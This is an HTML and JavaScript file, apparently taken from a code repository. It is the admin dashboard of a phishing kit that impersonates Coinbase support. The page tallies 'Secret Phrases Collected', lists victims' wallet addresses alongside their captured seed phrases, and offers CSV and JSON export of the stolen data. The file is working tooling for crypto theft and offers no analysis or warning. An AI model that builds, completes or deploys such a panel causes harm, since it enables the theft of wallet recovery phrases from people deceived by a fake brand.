File size: 11,130 Bytes
7fa6d76
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Panel | Coinbase Support</title>
    <link rel="icon" type="image/x-icon" href="https://static.photos/blue/200x200/1">
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
    <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
    <script src="https://unpkg.com/feather-icons"></script>
    <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
    <style>
        .gradient-bg {
            background: linear-gradient(135deg, #1652f0 0%, #1652f0 50%, #0a46e4 100%);
        }
        .admin-card:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
        }
    </style>
</head>
<body class="font-sans antialiased text-gray-800 bg-gray-100">
    <!-- Navigation -->
    <nav class="bg-white shadow-sm">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex justify-between items-center h-16">
                <div class="flex items-center">
                    <div class="flex-shrink-0 flex items-center">
                        <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
                        <span class="ml-2 text-xl font-bold text-blue-600">Coinbase Admin</span>
                    </div>
                </div>
                <div class="flex items-center space-x-4">
                    <a href="index.html" class="text-gray-600 hover:text-blue-600">Back to Support</a>
                </div>
            </div>
        </div>
    </nav>

    <!-- Admin Dashboard -->
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
        <h1 class="text-3xl font-bold text-gray-900 mb-8">Admin Dashboard</h1>
        
        <!-- Stats Overview -->
        <div class="grid grid-cols-1 md:grid-cols-3 gap-6 mb-8">
            <div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
                <div class="flex items-center justify-center h-12 w-12 rounded-md bg-blue-100 text-blue-600 mx-auto mb-4">
                    <i data-feather="users"></i>
                </div>
                <h3 class="text-2xl font-bold text-gray-900" id="totalUsers">0</h3>
                <p class="text-gray-600">Total Users Connected</p>
            </div>
            
            <div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
                <div class="flex items-center justify-center h-12 w-12 rounded-md bg-green-100 text-green-600 mx-auto mb-4">
                    <i data-feather="activity"></i>
                </div>
                <h3 class="text-2xl font-bold text-gray-900" id="activeToday">0</h3>
                <p class="text-gray-600">Active Today</p>
            </div>
            
            <div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
                <div class="flex items-center justify-center h-12 w-12 rounded-md bg-purple-100 text-purple-600 mx-auto mb-4">
                    <i data-feather="database"></i>
                </div>
                <h3 class="text-2xl font-bold text-gray-900" id="totalPhrases">0</h3>
                <p class="text-gray-600">Secret Phrases Collected</p>
            </div>
        </div>

        <!-- User Data Table -->
        <div class="bg-white shadow-md rounded-lg overflow-hidden">
            <div class="px-6 py-4 border-b border-gray-200">
                <h2 class="text-xl font-semibold text-gray-900">Connected Users & Secret Phrases</h2>
                <p class="text-gray-600 text-sm mt-1">View all user wallet connections and collected secret phrases</p>
            </div>
            <div class="overflow-x-auto">
                <table class="min-w-full divide-y divide-gray-200">
                    <thead class="bg-gray-50">
                        <tr>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                Wallet Address
                            </th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                Connection Date
                            </th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                Secret Phrase
                            </th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                Status
                            </th>
                        </tr>
                    </thead>
                    <tbody class="bg-white divide-y divide-gray-200" id="userDataTable">
                        <tr>
                            <td colspan="4" class="px-6 py-4 text-center text-gray-500">
                                No user data available
                            </td>
                        </tr>
                    </tbody>
                </table>
            </div>
        </div>

        <!-- Export Controls -->
        <div class="mt-8 bg-white shadow-md rounded-lg p-6">
            <h3 class="text-lg font-semibold text-gray-900 mb-4">Export Data</h3>
            <div class="flex space-x-4">
                <button onclick="exportData('csv')" class="bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md">
                    Export as CSV
                </button>
                <button onclick="exportData('json')" class="bg-green-600 hover:bg-green-700 text-white px-4 py-2 rounded-md">
                    Export as JSON
                </button>
                <button onclick="clearAllData()" class="bg-red-600 hover:bg-red-700 text-white px-4 py-2 rounded-md">
                    Clear All Data
                </button>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="bg-gray-800 text-white mt-16">
        <div class="max-w-7xl mx-auto py-8 px-4 sm:px-6 lg:px-8 text-center">
            <p class="text-gray-400 text-sm">
                &copy; 2023 Coinbase Support Admin Panel. Secure access only.
            </p>
        </div>
    </footer>

    <script>
        // Initialize AOS animations
        AOS.init({
            duration: 800,
            easing: 'ease-in-out',
            once: true
        });

        // Initialize Feather Icons
        feather.replace();

        // Sample user data storage (in a real application, this would be a database)
        let userData = JSON.parse(localStorage.getItem('coinbaseUserData')) || [];

        function updateDashboard() {
            // Update stats
            document.getElementById('totalUsers').textContent = userData.length;
            document.getElementById('totalPhrases').textContent = userData.filter(user => user.secretPhrase).length;
            
            // Calculate active today (users connected in last 24 hours)
            const today = new Date();
            const activeTodayCount = userData.filter(user => {
                const connectionDate = new Date(user.connectionDate);
                return (today - connectionDate) < (24 * 60 * 60 * 1000);
            }).length;
            document.getElementById('activeToday').textContent = activeTodayCount;

            // Update table
            const tableBody = document.getElementById('userDataTable');
            tableBody.innerHTML = '';

            if (userData.length === 0) {
                tableBody.innerHTML = `
                    <tr>
                        <td colspan="4" class="px-6 py-4 text-center text-gray-500">
                            No user data available
                        </td>
                    </tr>
                `;
                return;
            }

            userData.forEach(user => {
                const row = document.createElement('tr');
                row.innerHTML = `
                    <td class="px-6 py-4 whitespace-nowrap text-sm font-mono text-gray-900">
                        ${user.walletAddress}
                    </td>
                    <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
                        ${new Date(user.connectionDate).toLocaleString()}
                    </td>
                    <td class="px-6 py-4 text-sm text-gray-900 font-mono">
                        ${user.secretPhrase || 'Not provided'}
                    </td>
                    <td class="px-6 py-4 whitespace-nowrap">
                        <span class="px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-green-100 text-green-800">
                            Connected
                        </span>
                    </td>
                `;
                tableBody.appendChild(row);
            });
        }

        function exportData(format) {
            if (userData.length === 0) {
                alert('No data to export');
                return;
            }

            let dataStr, fileType, fileName;

            if (format === 'csv') {
                const headers = ['Wallet Address', 'Connection Date', 'Secret Phrase'];
                const csvData = userData.map(user => [
                    user.walletAddress,
                    user.connectionDate,
                    user.secretPhrase || ''
                ]);
                
                const csvContent = [headers, ...csvData].map(row => 
                    row.map(field => `"${field}"`).join(',')
                ).join('\n');
                
                dataStr = 'data:text/csv;charset=utf-8,' + encodeURIComponent(csvContent);
                fileType = 'text/csv';
                fileName = 'coinbase_users.csv';
            } else {
                dataStr = 'data:application/json;charset=utf-8,' + encodeURIComponent(JSON.stringify(userData, null, 2));
                fileType = 'application/json';
                fileName = 'coinbase_users.json';
            }

            const downloadLink = document.createElement('a');
            downloadLink.href = dataStr;
            downloadLink.download = fileName;
            downloadLink.style.display = 'none';
            document.body.appendChild(downloadLink);
            downloadLink.click();
            document.body.removeChild(downloadLink);
        }

        function clearAllData() {
            if (confirm('Are you sure you want to clear all user data? This action cannot be undone.')) {
                userData = [];
                localStorage.removeItem('coinbaseUserData');
                updateDashboard();
                alert('All user data has been cleared.');
            }
        }

        // Load data on page load
        document.addEventListener('DOMContentLoaded', updateDashboard);
    </script>
</body>
</html>